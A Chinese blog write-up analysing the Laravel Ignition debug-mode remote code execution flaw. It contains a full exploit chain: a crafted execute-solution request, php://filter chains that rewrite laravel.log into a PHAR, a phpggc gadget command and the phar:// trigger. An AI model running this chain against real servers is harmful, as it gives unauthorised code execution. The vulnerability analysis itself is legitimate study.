前段时间比赛正好遇到了这个漏洞,上网查资料的时候发现全是exp利用,很少漏洞利用过程分析,所以赛后来分析一下,这个漏洞具体的形成原因
首先搭建一个相应版本的Laravel,开启debug模式
意外
经过进一步检查,发现这些堆栈跟踪是由Ignition生成的,Ignition是从版本6开始的Laravel默认错误页面生成器。
如果我们在模板中使用未知变量,就会发生以下情况:
通过单击“Make variable Optional”,模板中的 {{ $username }}
将自动替换为 {{ $username ? '' }}
。如果我们检查 HTTP 日志,我们可以看到被调用的端点:
那么除了这一点,我们发现在这个版本中我们似乎还可以进行实例化
class SolutionProviderRepository implements SolutionProviderRepositoryContract
{
...
public function getSolutionForClass(string $solutionClass): ?Solution
{
if (! class_exists($solutionClass)) {
return null;
}
if (! in_array(Solution::class, class_implements($solutionClass))) {
return null;
}
return app($solutionClass);
}
}
仔细追踪后发现,这好像不可行,因为Ignition会确保我们指向的类实现了RunnableSolution接口
但追踪时我们发现./vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
也许可以更改任意文件的内容
class MakeViewVariableOptionalSolution implements RunnableSolution
{
...
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']); // [1]
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents)); // [2]
$newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) { // [3]
return false;
}
return $newContents;
}
protected function generateExpectedTokens(array $originalTokens, string $variableName): array
{
$expectedTokens = [];
foreach ($originalTokens as $token) {
$expectedTokens[] = $token;
if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_COALESCE, '??', $token[2]];
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
}
}
return $expectedTokens;
}
...
}
这段代码的意思是:读取给定的文件路径 [1] 并将 $variableName
替换为 $variableName ?? ''
后,初始文件和新文件将被标记化 [2]。如果代码结构的变化没有超出预期,该文件将被替换为新内容。否则,makeOptional
将返回false
[3],并且新文件将不会被写入。所以这里的 variableName
也不可控。
那么在这种情况下,剩下的唯一输入变量是viewFile
。如果我们对 variableName
及其所有用途进行抽象,我们最终会得到以下代码片段:
$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);
所以这里只能将 viewFile
的内容写回到 viewFile
中,不做任何修改。气死我了!!!
我还以为能挖到新东西呢!!!
那么言归正传回到这个漏洞
Exp
我们首先看一下这个exp(节选)
POST /_ignition/execute-solution HTTP/1.1
Host: 139.xxxxx:8080
Content-Type: application/json
Content-Length: 5050
{
"solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
"parameters": {
"variableName":"username",
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=66=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=49=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00
......
a"
}
虽然比赛直接上exp没什么感觉,分析的时候发现这都是些啥啊里面全是=00这样的字符,两眼一黑不知道从何分析,那只能正向的去看了
它使用 php://filter
在返回文件之前更改文件的内容。我们可以使用它来使用我们的漏洞利用原语来转换文件的内容:
$ echo test | base64 | base64 > /path/to/file.txt
$ cat /path/to/file.txt
ZEdWemRBbz0K
$f = 'php://filter/convert.base64-decode/resource=/path/to/file.txt';
# Reads /path/to/file.txt, base64-decodes it, returns the result
$contents = file_get_contents($f);
# Base64-decodes $contents, then writes the result to /path/to/file.txt
file_put_contents($f, $contents);
$ cat /path/to/file.txt
test
我们已经更改了文件的内容!遗憾的是,这应用了两次转换。阅读文档向我们展示了一种只应用一次的方法
# To base64-decode once, use:
$f = 'php://filter/read=convert.base64-decode/resource=/path/to/file.txt';
# OR
$f = 'php://filter/write=convert.base64-decode/resource=/path/to/file.txt';
Badchars 甚至会被忽略:
$ echo ':;.!!!!!ZEdWemRBbz0K:;.!!!!!' > /path/to/file.txt
$f = 'php://filter/read=convert.base64-decode|convert.base64-decode/resource=/path/to/file.txt';
$contents = file_get_contents($f);
file_put_contents($f, $contents);
$ cat /path/to/file.txt
test
写入日志文件
默认情况下,Laravel 的日志文件(包含每个 PHP 错误和堆栈跟踪)存储在 storage/logs/laravel.log
中。让我们通过尝试加载不存在的文件来生成错误,SOME_TEXT_OF_OUR_CHOICE
:
local.ERROR: file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory at /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\Foundation\Bootstrap\HandleExceptions->handleError()
#1 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents()
#2 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\Ignition\Solutions\MakeViewVariableOptionalSolution->makeOptional()
#3 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\Ignition\Solutions\MakeViewVariableOptionalSolution->run()
#4 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\Ignition\Http\Controllers\ExecuteSolutionController->__invoke()
[...]
#32 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\Pipeline\Pipeline->Illuminate\Pipeline\{closure}()
#33 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(141): Illuminate\Pipeline\Pipeline->then()
#34 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\Foundation\Http\Kernel->sendRequestThroughRouter()
#35 /work/pentest/laravel/laravel/public/index.php(52): Illuminate\Foundation\Http\Kernel->handle()
#36 /work/pentest/laravel/laravel/server.php(21): require_once('/work/pentest/l...')
#37 {main}
"}
执行成功,那么这就说明我们可以使用Orange的技术将日志文件转换为有效的PHAR文件,然后使用phar://
包装器来运行序列化代码。
base64-decode链显示出其局限性
PHP 在对字符串进行 Base64 解码时会忽略任何 badchar。除了一个字符:=
。如果使用 base64-decode
过滤中间包含 =
的字符串,PHP 将产生错误并且不返回任何内容。
然而,我们注入到日志文件中的文本只是其中很小的一部分。有一个大小合适的前缀(日期)和一个巨大的后缀(堆栈跟踪)。此外,我们注入的文本出现了两次!
php > var_dump(base64_decode(base64_decode('[2022-04-30 23:59:11]')));
string(0) ""
php > var_dump(base64_decode(base64_decode('[2022-04-12 23:59:11]')));
string(1) "2"
根据日期,对前缀进行两次解码会产生不同大小的结果。当我们第三次解码时,在第二种情况下,我们的有效负载将以 2
为前缀,从而更改 Base64 消息的对齐方式。
如果我们能够让它发挥作用,我们就必须为每个目标构建一个新的有效负载,因为堆栈跟踪包含绝对文件名,以及每秒一个新的有效负载,因为前缀包含时间。如果 =
设法进入众多 Base64 解码之一,但是这并不行
因此,我们返回 PHP 文档来查找其他类型的过滤器。
输入编码
让我们回溯一下。日志文件包含以下内容:
[previous log entries]
[prefix]PAYLOAD[midfix]PAYLOAD[suffix]
让我们利用这一点:如果我们大量使用它,就会发生解码错误,并清除日志文件!
php://filter/read=consumed/resource=/path/to/file.txt
我们导致的下一个错误将单独出现在日志文件中:
[prefix]PAYLOAD[midfix]PAYLOAD[suffix]
现在,我们回到原来的问题:保留有效负载并删除其余部分。php://filter
不限于 base64 操作。例如,您可以使用它来转换字符集。这是UTF-16 到 UTF-8:
echo -ne '[Some prefix ]P A Y L O A D [midfix]P A Y L O A D [Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
卛浯牰晥硩崠PAYLOAD浛摩楦嵸PAYLOAD卛浯畳晦硩崠
最后一个问题是在日志条目中,我们的有效负载显示了两次,而不是一次。我们需要摆脱第二个。
由于 UTF-16 使用两个字节,因此我们可以通过在末尾添加一个字节来错位 PAYLOAD
的第二个实例:
echo -ne '[Some prefix ]P A Y L O A D X[midfix]P A Y L O A D X[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
卛浯牰晥硩崠PAYLOAD存業晤硩偝䄀夀䰀伀䄀䐀堀卛浯畳晦硩崠
这样做的好处是前缀的对齐不再重要:如果它的大小一样,第一个有效负载将被正确解码。如果第一个解码失败那么第二个会再次解码。
我们现在可以将我们的发现与通常的 base64 解码相结合来编码我们想要的任何内容:
$ echo -n TEST! | base64 | sed -E 's/./ \0/g'
V E V T V C E =
$ echo -ne '[Some prefix ]V E V T V C E = X[midfix]V E V T V C E = X[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8|convert.base64-decode/resource=/tmp/test.txt');
TEST!
但在转换时又出现了一个新的问题
PHP Warning: file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in php shell code on line 1
我们可以通过两个有效负载轻松解决这个问题:无害的有效负载 A 和活动的有效负载 B
[prefix]PAYLOAD_A[midfix]PAYLOAD_A[suffix]
[prefix]PAYLOAD_B[midfix]PAYLOAD_B[suffix]
由于前缀、中缀和后缀以及 PAYLOAD_A 和 PAYLOAD_B 出现两次,日志文件的大小必然均匀,从而避免错误。
最后,我们还有最后一个问题需要解决:我们使用 NULL 字节将有效负载字节从 1 填充到 2。尝试在 PHP 中加载带有 NULL 字节的文件会导致以下错误:
PHP Warning: file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line 1
因此,我们将无法在错误日志中注入带有 NULL 字节的有效负载。幸运的是,最终的过滤器可以解决这个问题:convert.quoted-printable-decode。
我们可以使用 =00
对 NULL 字节进行编码。
这是我们最终的转换链:
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log
走到这里我终于明白那一大串长的要死的字符串是干嘛的了
完整利用步骤
创建 PHPGGC 有效负载并对其进行编码:
php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./ =00/g'
U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00
清除日志:
viewFile: php://filter/read=consumed/resource=/path/to/storage/logs/laravel.log
创建第一个日志条目,用于对齐:
viewFile: AA
使用负载创建日志条目:
viewFile: U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00==00==00
应用我们的过滤器将日志文件转换为有效的 PHAR:
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log
启动 PHAR 反序列化:
viewFile: phar:///path/to/storage/logs/laravel.log
在本地环境中确认攻击
原文始发于微信公众号(山石网科安全技术研究院):Laravel debug mode RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论